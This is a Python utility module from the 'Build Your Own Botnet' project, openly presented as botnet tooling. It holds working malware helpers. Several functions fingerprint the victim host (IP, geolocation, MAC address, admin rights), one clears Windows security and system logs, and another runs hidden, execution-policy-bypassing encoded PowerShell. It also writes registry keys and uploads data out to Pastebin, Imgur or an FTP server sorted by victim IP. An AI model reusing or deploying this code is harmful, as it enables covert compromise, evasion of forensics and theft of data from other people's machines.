Path: blob/master/web-gui/buildyourownbotnet/modules/util.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Utilities (Build Your Own Botnet)'3from __future__ import print_function45_debug = False67# main8def log(info, level='debug'):9"""10Log output to the console (if verbose output is enabled)1112"""13import logging14logging.basicConfig(level=logging.DEBUG if globals()['_debug'] else logging.ERROR, handlers=[logging.StreamHandler()])15logger = logging.getLogger(__name__)16getattr(logger, level if hasattr(logger, level) else 'debug')(str(info))171819def imports(source, target=None):20"""21Attempt to import each package into the module specified2223`Required`24:param list source: package/module to import2526`Optional`27:param object target: target object/module to import into2829"""30if isinstance(source, str):31source = source.split()32if isinstance(target, dict):33module = target34elif hasattr(target, '__dict__'):35module = target.__dict__36else:37module = globals()38for src in source:39try:40exec("import {}".format(src), target)41except ImportError:42log("missing package '{}' is required".format(source))434445def is_compatible(platforms=['win32','linux2','darwin'], module=None):46"""47Verify that a module is compatible with the host platform4849`Optional`50:param list platforms: compatible platforms51:param str module: name of the module5253"""54import sys55if sys.platform in platforms:56return True57log("module {} is not yet compatible with {} platforms".format(module if module else '', sys.platform), level='warn')58return False596061def platform():62"""63Return the system platform of host machine6465"""66import sys67return sys.platform686970def public_ip():71"""72Return public IP address of host machine7374"""75import sys76if sys.version_info[0] > 2:77from urllib.request import urlopen78else:79from urllib import urlopen80return urlopen('http://api.ipify.org').read().decode()818283def local_ip():84"""85Return local IP address of host machine8687"""88import socket89return socket.gethostbyname(socket.gethostname())909192def mac_address():93"""94Return MAC address of host machine9596"""97import uuid98return ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper()99100101def architecture():102"""103Check if host machine has 32-bit or 64-bit processor architecture104105"""106import struct107return int(struct.calcsize('P') * 8)108109110def device():111"""112Return the name of the host machine113114"""115import socket116return socket.getfqdn(socket.gethostname())117118119def username():120"""121Return username of current logged in user122123"""124import os125return os.getenv('USER', os.getenv('USERNAME', 'user'))126127128def administrator():129"""130Return True if current user is administrator, otherwise False131132"""133import os134import ctypes135return bool(ctypes.WinDLL("shell32").IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)136137138def geolocation():139"""140Return latitute/longitude of host machine (tuple)141"""142import sys143import json144if sys.version_info[0] > 2:145from urllib.request import urlopen146else:147from urllib2 import urlopen148response = urlopen('http://ipinfo.io').read()149json_data = json.loads(response)150latitude, longitude = json_data.get('loc').split(',')151return (latitude, longitude)152153154def ipv4(address):155"""156Check if valid IPv4 address157158`Required`159:param str address: string to check160161Returns True if input is valid IPv4 address, otherwise False162163"""164import socket165try:166if socket.inet_aton(str(address)):167return True168except:169return False170171172def status(timestamp):173"""174Check the status of a job/thread175176`Required`177:param float timestamp: Unix timestamp (seconds since the Epoch)178179"""180import time181c = time.time() - float(timestamp)182data=['{} days'.format(int(c / 86400.0)) if int(c / 86400.0) else str(),183'{} hours'.format(int((c % 86400.0) / 3600.0)) if int((c % 86400.0) / 3600.0) else str(),184'{} minutes'.format(int((c % 3600.0) / 60.0)) if int((c % 3600.0) / 60.0) else str(),185'{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]186return ', '.join([i for i in data if i])187188189def unzip(filename):190"""191Extract all files from a ZIP archive192193`Required`194:param str filename: path to ZIP archive195196"""197import os198import zipfile199z = zipfile.ZipFile(filename)200path = os.path.dirname(filename)201z.extractall(path=path)202203204def post(url, headers={}, data={}, json={}, as_json=False):205"""206Make a HTTP post request and return response207208`Required`209:param str url: URL of target web page210211`Optional`212:param dict headers: HTTP request headers213:param dict data: HTTP request POST data214:param dict json: POST data in JSON format215:param bool as_json: return JSON formatted output216217"""218try:219import requests220req = requests.post(url, headers=headers, data=data, json=json)221output = req.content222if as_json:223try:224output = req.json()225except: pass226return output227except:228import sys229if sys.version_info[0] > 2:230from urllib.request import urlopen,urlencode,Request231else:232from urllib import urlencode233from urllib2 import urlopen,Request234data = urlencode(data)235req = Request(str(url), data=data)236for key, value in headers.items():237req.headers[key] = value238output = urlopen(req).read()239if as_json:240import json241try:242output = json.loads(output)243except: pass244return output245246247def normalize(source):248"""249Normalize data/text/stream250251`Required`252:param source: string OR readable-file253254"""255import os256if os.path.isfile(source):257return open(source, 'rb').read()258elif hasattr(source, 'getvalue'):259return source.getvalue()260elif hasattr(source, 'read'):261if hasattr(source, 'seek'):262source.seek(0)263return source.read()264else:265return bytes(source)266267268def registry_key(key, subkey, value):269"""270Create a new Windows Registry Key in HKEY_CURRENT_USER271272`Required`273:param str key: primary registry key name274:param str subkey: registry key sub-key name275:param str value: registry key sub-key value276277Returns True if successful, otherwise False278279"""280try:281import _winreg282reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, key, 0, _winreg.KEY_WRITE)283_winreg.SetValueEx(reg_key, subkey, 0, _winreg.REG_SZ, value)284_winreg.CloseKey(reg_key)285return True286except Exception as e:287log(e)288return False289290291def png(image):292"""293Transforms raw image data into a valid PNG data294295`Required`296:param image: `numpy.darray` object OR `PIL.Image` object297298Returns raw image data in PNG format299300"""301import sys302import zlib303import numpy304import struct305306try:307from StringIO import StringIO # Python 2308except ImportError:309from io import StringIO # Python 3310311if isinstance(image, numpy.ndarray):312width, height = (image.shape[1], image.shape[0])313data = image.tobytes()314elif hasattr(image, 'width') and hasattr(image, 'height') and hasattr(image, 'rgb'):315width, height = (image.width, image.height)316data = image.rgb317else:318raise TypeError("invalid input type: {}".format(type(image)))319320line = width * 3321png_filter = struct.pack('>B', 0)322scanlines = b"".join([png_filter + data[y * line:y * line + line] for y in range(height)])323magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)324325ihdr = [b"", b'IHDR', b"", b""]326ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)327ihdr[3] = struct.pack('>I', zlib.crc32(b"".join(ihdr[1:3])) & 0xffffffff)328ihdr[0] = struct.pack('>I', len(ihdr[2]))329330idat = [b"", b'IDAT', zlib.compress(scanlines), b""]331idat[3] = struct.pack('>I', zlib.crc32(b"".join(idat[1:3])) & 0xffffffff)332idat[0] = struct.pack('>I', len(idat[2]))333334iend = [b"", b'IEND', b"", b""]335iend[3] = struct.pack('>I', zlib.crc32(iend[1]) & 0xffffffff)336iend[0] = struct.pack('>I', len(iend[2]))337338fileh = StringIO()339fileh.write(str(magic))340fileh.write(str(b"".join(ihdr)))341fileh.write(str(b"".join(idat)))342fileh.write(str(b"".join(iend)))343fileh.seek(0)344output = fileh.getvalue()345if sys.version_info[0] > 2:346output = output.encode('utf-8') # python3 compatibility347return output348349350def delete(target):351"""352Tries to delete file via multiple methods, if necessary353354`Required`355:param str target: target filename to delete356357"""358import os359import shutil360try:361_ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777)362except OSError: pass363try:364if os.path.isfile(target):365os.remove(target)366elif os.path.isdir(target):367import shutil368shutil.rmtree(target, ignore_errors=True)369except OSError: pass370371372def clear_system_logs():373"""374Clear Windows system logs (Application, security, Setup, System)375376"""377try:378for log in ["application","security","setup","system"]:379output = powershell("& { [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog(\"%s\")}" % log)380if output:381log(output)382except Exception as e:383log(e)384385386def kwargs(data):387"""388Takes a string as input and returns a dictionary of keyword arguments389390`Required`391:param str data: string to parse for keyword arguments392393Returns dictionary of keyword arguments as key-value pairs394395"""396try:397return {i.partition('=')[0]: i.partition('=')[2] for i in str(data).split() if '=' in i}398except Exception as e:399log(e)400401402def powershell(code):403"""404Execute code in Powershell.exe and return any results405406`Required`407:param str code: script block of Powershell code408409Returns any output from Powershell executing the code410411"""412import os413import base64414try:415powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip()416return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read()417except Exception as e:418log("{} error: {}".format(powershell.__name__, str(e)))419420421def display(output, color=None, style=None, end='\n', event=None, lock=None):422"""423Display output in the console424425`Required`426:param str output: text to display427428`Optional`429:param str color: red, green, cyan, magenta, blue, white430:param str style: normal, bright, dim431:param str end: __future__.print_function keyword arg432:param lock: threading.Lock object433:param event: threading.Event object434435"""436# if isinstance(output, bytes):437# output = output.decode('utf-8')438# else:439# output = str(output)440# _color = ''441# if color:442# _color = getattr(colorama.Fore, color.upper())443# _style = ''444# if style:445# _style = getattr(colorama.Style, style.upper())446# exec("""print(_color + _style + output + colorama.Style.RESET_ALL, end="{}")""".format(end))447print(output)448449450def color():451"""452Returns a random color for use in console display453454"""455try:456import random457return random.choice(['BLACK', 'BLUE', 'CYAN', 'GREEN', 'LIGHTBLACK_EX', 'LIGHTBLUE_EX', 'LIGHTCYAN_EX', 'LIGHTGREEN_EX', 'LIGHTMAGENTA_EX', 'LIGHTRED_EX', 'LIGHTWHITE_EX', 'LIGHTYELLOW_EX', 'MAGENTA', 'RED', 'RESET', 'WHITE', 'YELLOW'])458except Exception as e:459log("{} error: {}".format(color.__name__, str(e)))460461462def imgur(source, api_key=None):463"""464Upload image file/data to Imgur465466"""467import base64468if api_key:469response = post('https://api.imgur.com/3/upload', headers={'Authorization': 'Client-ID {}'.format(api_key)}, data={'image': base64.b64encode(normalize(source)), 'type': 'base64'}, as_json=True)470return response['data']['link'].encode()471else:472log("No Imgur API key found")473474475def pastebin(source, api_key):476"""477Upload file/data to Pastebin478479`Required`480:param str source: data or readable file-like object481:param str api_dev_key: Pastebin api_dev_key482483`Optional`484:param str api_user_key: Pastebin api_user_key485486"""487import sys488if sys.version_info[0] > 2:489from urllib.parse import urlsplit,urlunsplit490else:491from urllib2 import urlparse492urlsplit = urlparse.urlsplit493urlunsplit = urlparse.urlunsplit494if isinstance(api_key, str):495try:496info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key}497paste = post('https://pastebin.com/api/api_post.php', data=info)498parts = urlsplit(paste)499result = urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste500if not result.endswith('/'):501result += '/'502return result503except Exception as e:504log("Upload to Pastebin failed with error: {}".format(e))505else:506log("No Pastebin API key found")507508509def ftp(source, host=None, user=None, password=None, filetype=None):510"""511Upload file/data to FTP server512513`Required`514:param str source: data or readable file-like object515:param str host: FTP server hostname516:param str user: FTP account username517:param str password: FTP account password518519`Optional`520:param str filetype: target file type (default: .txt)521522"""523import os524import time525import ftplib526527try:528from StringIO import StringIO # Python 2529except ImportError:530from io import StringIO # Python 3531532if host and user and password:533path = ''534local = time.ctime().split()535if os.path.isfile(str(source)):536path = source537source = open(path, 'rb')538elif hasattr(source, 'seek'):539source.seek(0)540else:541source = StringIO(source)542try:543ftp = ftplib.FTP(host=host, user=user, password=password)544except:545return "Upload failed - remote FTP server authorization error"546addr = public_ip()547if 'tmp' not in ftp.nlst():548ftp.mkd('/tmp')549if addr not in ftp.nlst('/tmp'):550ftp.mkd('/tmp/{}'.format(addr))551if path:552path = '/tmp/{}/{}'.format(addr, os.path.basename(path))553else:554filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype)555path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype))556stor = ftp.storbinary('STOR ' + path, source)557return path558else:559log('missing one or more required arguments: host, user, password')560561562def config(*arg, **options):563"""564Configuration decorator for adding attributes (e.g. declare platforms attribute with list of compatible platforms)565566"""567import functools568def _config(function):569@functools.wraps(function)570def wrapper(*args, **kwargs):571return function(*args, **kwargs)572for k,v in options.items():573setattr(wrapper, k, v)574return wrapper575return _config576577578def threaded(function):579"""580Decorator for making a function threaded581582`Required`583:param function: function/method to run in a thread584585"""586import time587import threading588import functools589@functools.wraps(function)590def _threaded(*args, **kwargs):591t = threading.Thread(target=function, args=args, kwargs=kwargs, name=time.time())592t.daemon = True593t.start()594return t595return _threaded596597598